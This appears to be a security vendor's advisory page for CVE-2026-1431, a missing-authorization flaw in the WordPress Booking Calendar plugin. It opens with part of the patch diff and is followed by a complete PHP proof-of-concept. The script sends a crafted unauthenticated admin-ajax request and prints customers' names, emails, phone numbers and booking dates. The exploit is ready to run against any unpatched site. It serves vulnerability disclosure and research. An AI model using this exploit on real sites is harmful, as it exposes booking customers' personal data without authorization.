-		wp_send_json_success( array( 'message' => __( 'Settings saved.', 'booking' ) ) );
+		// Return stored value (useful for client callbacks / UI sync).
+		wp_send_json_success(
+			array(
+				'message' => __( 'Settings saved.', 'booking' ),
+				'value'   => $value_to_store,
+			)
+		);
 	}

 	/**
@@ -183,7 +225,7 @@
 			wp_send_json_error( array( 'message' => __( 'You do not have permission to load settings.', 'booking' ) ) );
 		}

-	  	/* phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.NonceVerification.Missing */
+		/* phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.NonceVerification.Missing */
 		$data_name = isset( $_GET['data_name'] ) ? sanitize_key( wp_unslash( $_GET['data_name'] ) ) : '';
 		if ( empty( $data_name ) ) {
 			wp_send_json_error( array( 'message' => __( 'Missing data name.', 'booking' ) ) );
@@ -202,6 +244,7 @@
 	 * @return mixed
 	 */
 	private static function normalize_incoming_value( $data_raw ) {
+
 		if ( ! is_string( $data_raw ) || '' === $data_raw ) {
 			return '';
 		}
@@ -211,7 +254,7 @@
 		// JSON path.
 		if (
 			0 === strpos( $maybe_json, '{' ) || 0 === strpos( $maybe_json, '[' ) ||
-			'null' === $maybe_json || 'true' === strtolower( $maybe_json ) ||
+			'null' === strtolower( $maybe_json ) || 'true' === strtolower( $maybe_json ) ||
 			'false' === strtolower( $maybe_json ) || is_numeric( $maybe_json )
 		) {
 			$decoded = json_decode( $maybe_json, true );
@@ -238,6 +281,7 @@
 	 * @return mixed
 	 */
 	private static function sanitize_mixed_value( $value ) {
+
 		if ( is_array( $value ) ) {
 			$out = array();
 			foreach ( $value as $k => $v ) {
@@ -261,6 +305,7 @@
 	 * @return array
 	 */
 	private static function sanitize_kv_array_preserve_brackets( $parsed_data ) {
+
 		$sanitized_data = array();

 		if ( empty( $parsed_data ) || ! is_array( $parsed_data ) ) {
--- a/booking/includes/ui_settings/parts/ui__nav_top.php
+++ b/booking/includes/ui_settings/parts/ui__nav_top.php
@@ -77,17 +77,17 @@
 function wpbc_ui__top_nav__dropdown__wpbc() {

 	$svg_size       = '22px';
-	$svg_icon_style = '';// 'margin:0 5px 0 0;';//'background-position: 0 0;background-size: ' . $svg_size . ' ' . $svg_size . ';width: ' . $svg_size . ';height: ' . $svg_size . ';';
+	$svg_icon_style =  'margin:5px 5px 0 0;';//'background-position: 0 0;background-size: ' . $svg_size . ' ' . $svg_size . ';width: ' . $svg_size . ';height: ' . $svg_size . ';';
 	$svg_icon       = wpbc_get_svg_logo_for_background( '#555', '#e5e5e5', '1.0' );

 	$el_arr = array(
 		// 'title'        => 'Booking Calendar',
 		// 'font_icon'    => 'wpbc-bi-calendar2-range',
-		'title_html'	 => '<span class="nav-tab-text" style="margin: -11px 0 0 5px;font-size: 16px;padding: 0;"><span style="position: absolute;font-size: 7px;margin-top: 13px;margin-left: 1px;">WP</span>Booking Calendar</span>',
+		'title_html'	 => '<span class="nav-tab-text" style="margin: -3px 0 0 5px;font-size: 16px;padding: 0;"><span style="position: absolute;font-size: 7px;margin-top: 13px;margin-left: 1px;">WP</span>Booking Calendar</span>',
 				'svg_icon'       => $svg_icon,
 				'svg_icon_style' => $svg_icon_style,
-				'style' 		 => 'display: flex;flex-flow:row nowrap;align-items: center;justify-content: flex-start;',
-				'container_style' => 'padding: 0 5px 0 10px;',
+				'style' 		 => 'display: flex;flex-flow:row nowrap;align-items: center;justify-content: flex-start;' . ' ',
+				'container_style' => 'padding: 0 15px 0 10px;',
 		'position'       => 'left',
 		'has_down_arrow' => true,
 		'items'          => array(
--- a/booking/includes/wpbc-include.php
+++ b/booking/includes/wpbc-include.php
@@ -262,6 +262,7 @@
 	require_once WPBC_PLUGIN_DIR . '/includes/fontend/class-fe-render.php';
 	require_once WPBC_PLUGIN_DIR . '/includes/fontend/class-fe-shortcodes.php';
 	require_once WPBC_PLUGIN_DIR . '/includes/fontend/class-fe-form-source-resolver.php';
+	require_once WPBC_PLUGIN_DIR . '/includes/fontend/hooks/class-fe-bfb-settings-hooks.php';   // Apply BFB settings to rendered booking form HTML.
 	require_once WPBC_PLUGIN_DIR . '/includes/fontend/class-fe-render-form-body.php';
 }
 require_once WPBC_PLUGIN_DIR . '/core/lib/wpdev-booking-class.php';             // C L A S S    B o o k i n g.
--- a/booking/wpdev-booking.php
+++ b/booking/wpdev-booking.php
@@ -7,7 +7,7 @@
 Author URI: https://wpbookingcalendar.com/
 Text Domain: booking
 Domain Path: /languages/
-Version: 10.14.13
+Version: 10.14.14
 License: GPLv2 or later
 */

@@ -34,7 +34,7 @@


 if ( ! defined( 'WP_BK_VERSION_NUM' ) ) {
-	define( 'WP_BK_VERSION_NUM', '10.14.13' );
+	define( 'WP_BK_VERSION_NUM', '10.14.14' );
 }
 if ( ! defined( 'WP_BK_MINOR_UPDATE' ) ) {
 	define( 'WP_BK_MINOR_UPDATE',  true );
@@ -105,7 +105,7 @@


 if ( ! defined( 'WPBC_NEW_FORM_BUILDER' ) ) {
-	define( 'WPBC_NEW_FORM_BUILDER',  ! true );
+	define( 'WPBC_NEW_FORM_BUILDER', ! true );
 }

 // ---------------------------------------------------------------------------------------------------------------------

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1431 - Booking Calendar <= 10.14.13 - Missing Authorization to Unauthenticated Booking Details Exposure

<?php
/**
 * Proof of Concept for CVE-2026-1431
 * Demonstrates unauthorized access to booking details in Booking Calendar plugin
 * 
 * Usage: php poc.php --url=https://vulnerable-site.com [--resource=1] [--start=2025-01-01] [--end=2025-12-31]
 */

$target_url = ''; // Configure target WordPress site URL

// Parse command line arguments
$options = getopt('', ['url:', 'resource:', 'start:', 'end:']);

if (empty($options['url'])) {
    echo "Usage: php poc.php --url=https://vulnerable-site.com [--resource=1] [--start=2025-01-01] [--end=2025-12-31]n";
    exit(1);
}

$target_url = rtrim($options['url'], '/');
$resource_id = $options['resource'] ?? '1';
$start_date = $options['start'] ?? date('Y-m-01'); // First day of current month
$end_date = $options['end'] ?? date('Y-m-t'); // Last day of current month

// Construct AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Prepare malicious payload to bypass authorization
$post_data = [
    'action' => 'WPBC_FLEXTIMELINE_NAV',
    'is_frontend' => '0', // Critical: Set to 0 to trigger admin mode
    'resource_id' => $resource_id,
    'view_days_num' => '30',
    'scroll_start_date' => $start_date,
    'scroll_end_date' => $end_date,
    'page_items' => '50', // Number of bookings to retrieve
    'page_skip_items' => '0',
    'wh_booking_type' => $resource_id,
    'ui_skin' => 'default',
    'locale' => 'en_US',
    'timeline_skin' => 'default',
    'is_use_cache' => '0'
];

echo "[+] Target: $target_urln";
echo "[+] Resource ID: $resource_idn";
echo "[+] Date range: $start_date to $end_daten";
echo "[+] Sending exploit request...n";

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);

if ($error) {
    echo "[-] cURL error: $errorn";
    exit(1);
}

echo "[+] HTTP Response Code: $http_coden";

if ($http_code === 200 && !empty($response)) {
    // Parse JSON response
    $data = json_decode($response, true);
    
    if (json_last_error() === JSON_ERROR_NONE && isset($data['ajx_data'])) {
        echo "[+] SUCCESS: Vulnerable to CVE-2026-1431n";
        echo "[+] Retrieved booking data:n";
        
        // Extract and display booking information
        if (isset($data['ajx_data']['bookings'])) {
            $bookings = $data['ajx_data']['bookings'];
            echo "    Total bookings found: " . count($bookings) . "n";
            
            foreach ($bookings as $index => $booking) {
                echo "    --- Booking #" . ($index + 1) . " ---n";
                if (isset($booking['form_data'])) {
                    // Parse form data which contains customer information
                    $form_data = $booking['form_data'];
                    echo "      Name: " . ($form_data['name'] ?? 'N/A') . "n";
                    echo "      Email: " . ($form_data['email'] ?? 'N/A') . "n";
                    echo "      Phone: " . ($form_data['phone'] ?? 'N/A') . "n";
                }
                if (isset($booking['dates'])) {
                    echo "      Dates: " . implode(', ', $booking['dates']) . "n";
                }
            }
        } else {
            echo "    No booking data in response (plugin may have different structure)n";
            echo "    Raw response preview: " . substr($response, 0, 500) . "...n";
        }
    } else {
        echo "[-] Failed to parse JSON responsen";
        echo "[-] Response: " . substr($response, 0, 500) . "...n";
    }
} else {
    echo "[-] Request failed or site not vulnerablen";
    echo "[-] Response: " . substr($response, 0, 500) . "...n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School